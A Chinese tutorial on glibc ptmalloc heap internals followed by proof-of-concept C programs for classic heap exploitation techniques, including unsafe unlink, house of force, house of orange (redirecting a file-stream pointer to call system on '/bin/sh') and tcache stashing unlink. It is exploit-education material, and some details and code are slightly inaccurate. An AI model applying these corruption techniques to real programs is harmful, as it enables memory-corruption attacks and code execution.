linux的堆管理及攻击(ptmalloc)

堆基础

堆简介

(部分参考与libc源码)
不同的平台有不同的堆内存管理机制,比如:

管理机制对应的相关的平台
dlmalloc General purpose allocator
ptmalloc2 glibc
jemalloc FreeBSD and Firefox
tcmalloc Google
libumem Solaris

本来linux默认的是dlmalloc,但是由于其不支持多线程管理,后来被支持多线程的ptmalloc2代替了。接下来的内容都是基于ptmalloc机制进行的堆管理和攻击。

ptmalloc进行堆分配时有两种方式:brk和mmap。brk分配的堆区由libc管理,在程序结束之前不会返还给操作系统,mmap分配的堆区在使用后会直接munmap返回给系统。

但是也有特例:(glibc malloc 直接mmap的情况)

1.非main_arena区域和它的堆直接通过mmap进行映射

2.申请的chunk大小超过mp_.mmap_thrshold,导致large bin和top都不能满足的情况。

上面提到了几个概念:

chunk:堆块,堆结构中最基本的单元,每一个堆块对应一个chunk,对应结构体malloc_thunk。ptmalloc进行堆管理,可以将堆分成三类:allocated chunk (已分配的),free chunk (空闲的),top chunk (顶部chunk)。

bin:用于组织管理空闲堆块的链表结构

top:堆区的头部,实质为一个chunk,记录着剩下的未分配的堆空间的大小(不包含已经free但是还在bin中管理着的空闲堆块)

main_arena: 结构体malloc_state 的一个实例,用于组织各种bin链和堆分配信息,main_arena在一个进程中只存在一个,其余的malloc_state为非main_arena,比如线程中的malloc_state结构

堆相关结构体

struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; /* * prev_size和size分别代表前一个chunk的大小和当前chunk的大小 * fd和bk分别指向上一个和下一个空闲chunk的起始地址 * fd_nextsize和bk_nextsize只在large bin中才会生效,其余的chunk bin不适用这两个指针 * 因为chunk按照0x1000对齐,所以size的后三位用来作为标志位,判断chunk是否被分配,是否mmap分配的,前面是否有堆块(这个决定pre_size位是否生效) * malloc申请的chunk返回地址并发chunk的起始地址,而是fd指针所在的地址,pre_size既属于当前chunk的头,又属于上一个chunk的数据部分 * 注:glibc最开始会申请一块大的堆内存块用于进程中的malloc进行分配,此堆块地址为连续的 * 在通过malloc和free将这个大的连续堆块分配成了不连续的小块 * 其中free掉的部分被malloc_state中的bin链进行管理,故bin链中的内存地址不一定是连续的 * 这个能解释为什么有pre_size和size形成的隐式链以后还有fd和bk来进行chunk的连接 */    struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS];  // fast bin /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; } /* * malloc_state根据空闲堆块的大小来进行堆块的管理,分为fastbin,small bin,unsorted bin和large bin四种空闲链表,其中fastbin位于fastbinsY[NFASTBINS],剩下三种bin统一在bins[NBINS * 2 - 2]中进行管理,通过binmap[BINMAPSIZE]来区分某个bin是否存在空闲链表 * fast bin共10个链表,free时chunk会根据的大小进行分类,分到fast bin不同的bin中,fast bin中的空闲chunk的size位的presize不会被初始化,防止堆块的合并,提高分配效率。fast bin为单链,故每次分配都是先入后出。起始bin的chunk大小为32字节,每个bin增加16字节。一些资料上说每个bin上面的chunk最多十个,这个我在ubuntu 16.04上面测试发现是超过这个值的,估计不触发合并就应该没有上限 * unsorted bin:未整理的bin,堆块被释放后优先放到unsorted bin (不适合放到fast bin的chunk,目的是能够有第二次机会重新利用最近释放的chunk),在下一次malloc到来之时,匹配优先级:fast->small->unsorred ->large->top->mmap->分配失败,如果满足条件,则切割,分配,切割后剩余部分继续留在unsorted bin.不满足则按照大小分到fast/small/large bin中。采用fifo分配 * small bin:共62个bins,第一个chunk大小为32字节,每个chunk的大小是8(64位16字节)字节,每个bin中的chunk大小固定。采用fifo * large bin:共63个bin,存放大的chunk,每条bin中的chunk大小可以不一致,但按照从大到小的顺序成链(通过链fd_nextsize和bk_nextsize实现) */ 

  

 

前面提到,glibc之前并不是用ptmalloc来进行堆管理的,为了支持多线程,而使用了ptmalloc,此时需要用到一个结构体: _heap_info

typedef struct _heap_info { mstate ar_ptr; /* 这个heap所在的arena */ struct _heap_info *prev; /* 上一个heap */ size_t size; /* 字节为单位的当前大小 */ char pad[-5 * SIZE_SZ & MALLOC_ALIGN_MASK]; /* 用于对齐 */ }heap_info; /* * ar_ptr指向其对应的arena,typedef struct malloc_state * mstate * prev指向前一个heap_info结构 */
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

故将heap_info、malloc_state等连接起来可以得到ptmalloc中堆的具体结构(图来自网络):

main_arena和只含有一个 只有一个Heap info的 thread arena

在这里插入图片描述
在这里插入图片描述

1.main_arena中不含有heap_info,这是进程的整体堆管理 2.线程的堆管理存在heap_info结构,通过heap_info去指向线程本身的malloc_state 3.线程的堆通过mmap获取,而进程的堆在glibc中直接通过brk申请 4.每个线程都有自己的thread arena,一个arena可以有多个mmap的堆段组成 5.线程的arena进行chunk分配时通过mprotect模拟子堆的增长 6.当新线程产生时,会将一个arena附加到新线程,以减少新线程进行malloc和free等操作进行不必要等待 7.arena数量有限,为8*cpu-core
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

malloc 和 free过程

malloc

1.进程第一个调用malloc时,则需要进行一次初始化chunk size + 128k并按照4k对齐的空间作为初始化堆,且位于main_arena 2.若已经有arena,则计算实际所需的chunk大小 3.判断chunk.size < max_fast,小于则取fast bin中获取chunk,找到则分配成功,失败则进入下一步 4.失败匹配small bins(size 在small bin区间),成功则分配,失败则触发合并(fast的合并bin)。 5.查找unsorted bin(size不在small bin区间或者small bin分配失败)。 	(1)若所需大小为small bin,且unsorted bin中只含有唯一一个chunk,则拆分unsorted bin,然后将剩下的继续留在unsorted bin。然后直接返回 	(2)若所需大小不为small bin,fast chunk合并到unsorted bin。 	判断unsorted bin中的chunk,大小刚好适合则分配并返回。 	其他情况,将unsorted bin中剩下的chunk,然后根据大小放到对应的chunk (small/large),此过程和所需chunk的size无关 6.判断是否large bin,然后从中分配。可以拆分,剩余部分放到unsorted bins 7.如果large失败,从top中取 	large 分配时从小到大搜索,每个bin的第一个为最大的size,从large bin拆分后剩余部分放到unsorted bin并设置last_remainder 8.top失败,进行mmap获取
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

free

1.如果≤fast的最大size,尝试加到fast bin 2.如果不是fast bin的,则检查是否mmap的 3.非mmap的内存,放到unsorted bin.(放之前会检测是否位于top chunk,是则直接和top合并) 4.然后检查是否有合并,有合并则合并。合并后检查top chunk的大小是否大于mmap阈值,如果是,对于main_arena,会试图归还top chunk的一部分给操作系统 5.fast bin中的chunk如果有合并,合并后放到usorted bin中 6.mmap的chunk直接munmap
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

堆攻击

unsorted bin into stack

unsorted bin为双链结构,其分配过程为

victim = unsorted_chunks (av)->bk // 找到unsorted bin的第一个chunk bck = victim->bk; unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); // 从代码可以看出,申请空间victim以后,unsorted bin的bk指向了victim的bk,victim的bk的fd指向了unsorted bin
 
  • 1
  • 2
  • 3
  • 4
  • 5

攻击利用

#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h>  void jackpot(){ fprintf(stderr, Nice jump d00d\n); exit(0); }  int main() { intptr_t stack_buffer[4] = {0};// fake chunk intptr_t* victim = malloc(0x100); // 申请一个0x100的chunk intptr_t* p1 = malloc(0x100); // 防止顶部堆块合并 free(victim);// 释放victim,此时victim被放到unsorted bin (0x100+MINISIZE超过了fastbin的区间) stack_buffer[1] = 0x100 + 0x10;// stack_buffer->size = 0x110 (need_size+head_size) stack_buffer[3] = (intptr_t)stack_buffer; // stack_buffer->bk = stack_buffer,绕过检查 // stack_buffer为栈空间数据,将其构造成一个伪造的chunk victim[-1] = 32;// victim->size = 32 victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack // 修改victim的size字段和bk指针,将size改成0x20,bk指向伪造的栈 chunk地址 char *p2 = malloc(0x100);// p2 == stack_var // 再次malloc 0x100空间时,由于victim的size被改变为0x20,所以将victim整合到small bin,再从victim的bk中去找合适的空间 // 此时找到了伪造的栈chunk,且大小刚刚好,故将栈上的空间申请了出来,即stack_buffer intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary // 将恶意函数地址复制到stack_buffer某个能被执行到的位置,即可实现绕过canary进行攻击 }
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

图解

在这里插入图片描述

unsorted bin attack

此方法主要是用于泄露libc的地址

攻击利用:

#include <stdio.h> #include <stdlib.h> int main(){ unsigned long stack_var=0; unsigned long *p=malloc(0x410); malloc(500);//防止堆块与top发生合并 free(p);// p所在chunk被整合到unsorted bin p[1]=(unsigned long)(&stack_var-2); // 伪造p->bk // 因为p和stack_var是栈上两个连续的变量,故它们的地址是连续的 // 故stack_var->bk  == p // 又p->bk == stack_var-2 // 故stack_var->bk->bk == stack_var-2,绕过了地址检测 malloc(0x410);// 此时再将p申请出来,由于p的bk被伪造,故可以将stack_var的fd指向unsorted bin-2的地址从而暴露libc信息。即暴露的地址为top的地址 fprintf(stderr, Let's malloc again to get the chunk we just free. During this time, the target should have already been  rewritten:\n); fprintf(stderr, %p: %p\n, &stack_var, (void*)stack_var); }
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

unsafe unlink

unlink是空闲的chunk在合并和被malloc时的解链过程,这个过程如果存在漏洞,可以通过堆溢出实现任意地址读写

攻击利用:

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> uint64_t *chunk0_ptr; int main() { int malloc_size = 0x80; int header_size = 2; chunk0_ptr = (uint64_t*) malloc(malloc_size); //申请第一个chunk uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //申请第二个chunk chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); // chunk0_ptr指向的值为chunk0的body的地址,不包含chunk 头,故chunk0_ptr为伪造的chunk的起始地址(包含伪造头) // fake_chunk->fd = &fake_chunk-0x18 , 也就是说fake_chunk->fd->bk = fake_chunk // a[2] = a-3 = b;b[3] = b+3 = a;a->fd->bk = a chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2); //同理可得:fake_chunk->bk = &fake_chunk-0x10, 即fake_chunk->bk->fd = fake_chunk // 综上两步可以伪造并绕过检测:p->fd->bk = p,p->bk->fd = p uint64_t *chunk1_hdr = chunk1_ptr - header_size; chunk1_hdr[0] = malloc_size;// 伪造presize,即newsize + 0x10 = size chunk1_hdr[1] &= ~1; // 伪造previous in use 标志为0 free(chunk1_ptr); // free 触发两个块unlink // 修改chunk2的数据,实现在free时触发chunk1和chunk2的合并  char victim_string[8]; strcpy(victim_string,Hello!~); chunk0_ptr[3] = (uint64_t) victim_string;     /**      * unlink 以后内存布局       * 1.&chunk0_ptr == &chunk0_ptr[3]  chunk0_ptr == chunk0_ptr[3],即chunk0_ptr 变成了 &chunk0_ptr-3      * 2.所以,chunk0_ptr[3] == &chunk0_ptr[0]      * 3.修改chunk0_ptr[3]的值,即可修改chun0_ptr所指向的地址      * 4.即chunk0_ptr所指向地址变成了victim的地址      * 5.此时修改chunk0_ptr[0]的值,就会成功修改到victim的值      * 6.第三步导致chunk0_ptr的值改变后,&chunk_ptr[3]不再和chunk0_ptr指向同一个地址      */ chunk0_ptr[0] = 0x4141414142424242LL;// chunk_ptr[0] = victim_string fprintf(stderr, New Value: %s\n,victim_string); }
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

unlink 过程

mchunkptr fd = p->fd; mchunkptr bk = p->bk; fd->bk = bk; bk->fd = fd; // 即 p->fd->bk = p->bk,p->bk->fd = p->fd // 向前合并,丢弃当前块 // 向后合并,丢弃后面块
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

图解:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

此时通过修改chunk0_ptr[3]的内容为要读写的地址addr,实际上修改的是chunk_ptr所指向的内容。修改完以后,chunk0_ptr的指针恢复正常,再次对chunk0_ptr[0]进行读写,则实际上是对addr的读写

house of einherjar

攻击利用:

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h>  int main() { // 禁用缓冲区 setbuf(stdin, NULL); setbuf(stdout, NULL) // 初始化数据 uint8_t* a; uint8_t* b; uint8_t* d; // 分配0x38的a a = (uint8_t*) malloc(0x38); int real_a_size = malloc_usable_size(a); size_t fake_chunk[6]; // 制造一个假块 fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin fake_chunk[2] = (size_t) fake_chunk; // fwd fake_chunk[3] = (size_t) fake_chunk; // bck fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize // malloc 一个0xf8的块,其真实大小为0x100 b = (uint8_t*) malloc(0xf8); int real_b_size = malloc_usable_size(b); uint64_t* b_size_ptr = (uint64_t*)(b - 8); size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); // 覆盖b的pre_size为fake size *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size; // 修改fake_chunk的size字段 fake_chunk[1] = fake_size free(b); // 触发fake 和 b的合并 // 再次malloc将会把fake chunk申请出来 d = malloc(0x200); }
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39

如图

在这里插入图片描述

house of force

攻击利用:

#include<stdio.h> #include<malloc.h> #include<unistd.h> #include<string.h> int main(){ long stack_var[10]; long *p = malloc(0x10); *(p+3) = -1;// 溢出到top的size为-1,即0xffffff,作为无符号整数时,该值为地址最大的值 long size = (long)stack_var-(long)p; // 计算var到p的距离 //  (long)stack_var-(long)(p-6); size = size-0x30;// 要申请的size // 为什么要-0x30 /** 1.-top chunk的head  2. -要申请出来的chunk的头 3.满足(2)以后,top指向var,要想将var的地址申请出来,需要-0x10,即var chunk的head*/  long *s = malloc(size); // 申请完s,top位于var-0x10 p = malloc(0x10); // p的地址就为var的地址,若var为要攻击的地址,则,可以实现对要攻击的地址的任意读写 return 0; }
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

图示

在这里插入图片描述

double free

double主要在fast bin上进行攻击,因为fast bin为单链,且安全检查不够严格,故double free很容易实现,这里列一下过程:

1.申请一个chunk a,一个chunk b,chunk 大小相同且在0x20-0x80之间,这样能让两个chunk 在同一条fast bin 2.先free a,再free b,再free a,目的是绕过检测,因为glibc中会判断当前free的chunk和fast bin中的上一个chunk是否同一个,这样中间插一个b chunk就能绕过了 3.malloc a,然后修改a->fd为要攻击的地址addr 4.malloc b 5.再次malloc a,此时会将chunk 中的a再次申请出来 6.再次malloc即可得到要攻击的地址addr
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

图示

在这里插入图片描述

无free的堆攻击:hourse of orange

一般想要利用堆进行攻击,都会用到free将堆释放到arena结构的bins中,然后通过再次申请,伪造堆块实现攻击。但如果遇到没有free的情况,往往进行堆攻击是比较困难的,hourse of orange利用的是替换文件i/o流函数指针的方式,实现攻击。

攻击利用:

#include <stdio.h> #include <stdlib.h> #include <string.h> int winner ( char *ptr);  int main() { char *p1, *p2; size_t io_list_all, *top;  p1 = malloc(0x400-16); // 计算top所在的地址 top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01;// 修改top的size,将其改小 // top size 必须是对齐内存页的 // top size的pre位必须为1  p2 = malloc(0x1000);// 申请size>修改后的top size,但是<mp_.mmap_threshold的size // 避免调用mmap申请内存 io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; // 将io_list_all的地址写到top chunk的bk  // 作为hook后函数的参数 memcpy( ( char *) top, /bin/sh\x00, 8);  // 伪造通过伪造top实现伪造_IO_FOLE结构 top[1] = 0x61;// 伪造top的size,下次malloc时将其整合到small bin[6] // io_list_all偏移0x60的位置恰好是_chain // 配置伪造io_list_all,通过控制top的内容控制该结构  /**触发: if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) 	  || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)))&& _IO_OVERFLOW (fp, EOF) == EOF) */ top[24] = 1;// 伪造fp->_mode > 1 top[21] = 2;// fp->_wide_date->_IO_write_base top[22] = 3;// fp->_wide_date->_IO_write_ptr  top[20] = (size_t) &top[18];// 替换 _IO_WIDE_DATA  top[15] = (size_t) &winner;// hook jmp table的第四个值为hook函数 top[27] = (size_t ) &top[12]; // hook jmp table malloc(10); return 0; }  // 用于攻击的函数 int winner(char *ptr) { system(ptr); return 0; }
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51

图解:

在这里插入图片描述
在这里插入图片描述

large bin 攻击

large bin的组织方式:

在这里插入图片描述

large bin是按照从小到大的顺序排列的,一条bin链中的chunk 大小并不完全一样,处于一个范围区间。大小相同的chunk 共用一个头,只有头的fd_nextsize和bk_nextsize才会生效

攻击利用:

因为large bin 含有两条链,故可以实现两个任意地址的读写:

#include<stdio.h> #include<stdlib.h> int main() { unsigned long stack_var1 = 0;// 要攻击的地址1 unsigned long stack_var2 = 0;// 要攻击的地址2 unsigned long *p1 = malloc(0x320); // 申请第一个large chunk malloc(0x20);// 申请一个小chunk 避免合并 unsigned long *p2 = malloc(0x400);// 第二个large chunk malloc(0x20);// 小chunk 避免合并 unsigned long *p3 = malloc(0x400);// 第三个large chunk malloc(0x20);// 小chunk free(p1); free(p2); malloc(0x90);// 先将p1,p2整合到large bin,然后再将p1切割,剩下部分放到unsorted bin free(p3);// 释放p3,p3被放到unsorted bin p2[-1] = 0x3f1;// p2.size < p3.size ,3f1 < 411 p2[0] = 0; p2[2] = 0; p2[1] = (unsigned long)(&stack_var1 - 2);// p2->bk = stack_var2[-2] ,stack_var1 = addr1->fd p2[3] = (unsigned long)(&stack_var2 - 4);// p2->bk_nextsize = stack_var2[-4], stack_var2 = addr2->fd_nextsize // 触发large bin合并时,会触发两个任意地址读写:addr1 和 addr2 malloc(0x90);// 触发large bin的链接,先将p1合并到large bin,再将p3合并到large bin,再切割p1 // 此时p3合并到p2之前 // 因为p2的size<p3的size,而构造的stack_var2-4的chunk的size,即p2->bk_nextsize->size在内存中 // 的值 > p3->size,故p3插入到p2和stack_var2-4之间,不会改变large bin的fd和bk指针 // 但p3的bk和bk_nextsize指向了stack_var1-2和stack_var2-4,同时stack_var1-2->fd == stack_var1 == p3 chunk的地址,stack_var2-4->fd_nextsize == stack_var2 == p3 chunk的地址 // 故stack_var1和stack_var2的值都变成了p3的地址 // 实现了两次任意地址读写 fprintf(stderr, stack_var1 (%p): %p\n, &stack_var1, (void *)stack_var1); fprintf(stderr, stack_var2 (%p): %p\n, &stack_var2, (void *)stack_var2); return 0; }
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

tcache 机制

由于线程要进行堆申请时,需要通过arena来获取,而每个arena都通过获取锁来占用,这样,如果通过fast bin进行堆分配,对锁指令的执行会占用分配相当大的一部分时间,且锁资源非常珍贵。为了加快堆分配的速度,在libc 2.26以后引入了tcache机制。

tcache有如下机制:

1.tcache 也通过单链进行管理,故针对fast bin能够生效的攻击基本上也适用于tcache,比如double free 2.每个线程默认的tcache有64个bin,每个bin包含最多七个chunk 3.每条bin中的chunk 大小完全相等 4.malloc申请时,优先从tcache中获取chunk 5.当申请的chunk是从fast/small/large bin时,会将三个bins中剩余chunk整合到tcache,直到tcache 对应的链中存在七个chunk或者三个bins对应的bin为空 6.如果申请的堆块来自unsorted bin,切割unsorted bin以后剩余部分继续留在unsorted bin 7.tcache没有锁机制,且对链的检查比fast bin还不严格 8.当使用calloc申请内存时,不会使用tcache机制
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

tcache stashing unlink attack

攻击利用:

#include <stdio.h> #include <stdlib.h> int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0};// 通过指针数组管理堆指针 unsigned long *target; stack_var[3] = (unsigned long)(&stack_var[2]); for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90);// 申请九个chunk } for(int i = 3;i < 9;i++){ free(chunk_lis[i]);//释放4-9共六个chunk到tcache } //last tcache bin free(chunk_lis[1]); // 最后一个tcache //now they are put into unsorted bin // chunk_lis[0 & 2]被分配到unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); // 申请一个大于前面几个chunk的内存,将chunk_lis[0 & 2]合并到small bin malloc(0xa0);//>0x90 // 申请两个chunk,此时从tcache中分配,tcache只剩5个,small bin还剩两个 malloc(0x90); malloc(0x90); // 修改chunk_lis[2]的bk指针,由于bins采用lifo的方式进行chunks管理,所以这里chunk_list[2]->fd 指向small bin。 chunk_lis[2][1] = (unsigned long)stack_var;// 修改chunk_list[2]的fd为伪造的chunk /** * calloc 在分配时不会触发tcache,且当tcache非满时,同大小的small bin会被放进tcache * 在这个过程中只对当前calloc的chunk进行了完整性检查,后面堆块的检查缺失。 * 当攻击者可以写进一个small bin的bk时,其可以在任意地址上写一个libc的地址 * 构造得当的情况下也可以分配fake chunk到任意地址 */ calloc(1,0x90); target = malloc(0x90); fprintf(stderr, As you can see, next malloc(0x90) will return the region our fake chunk: %p\n,(void*)target); return 0; }
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37

图解:

在这里插入图片描述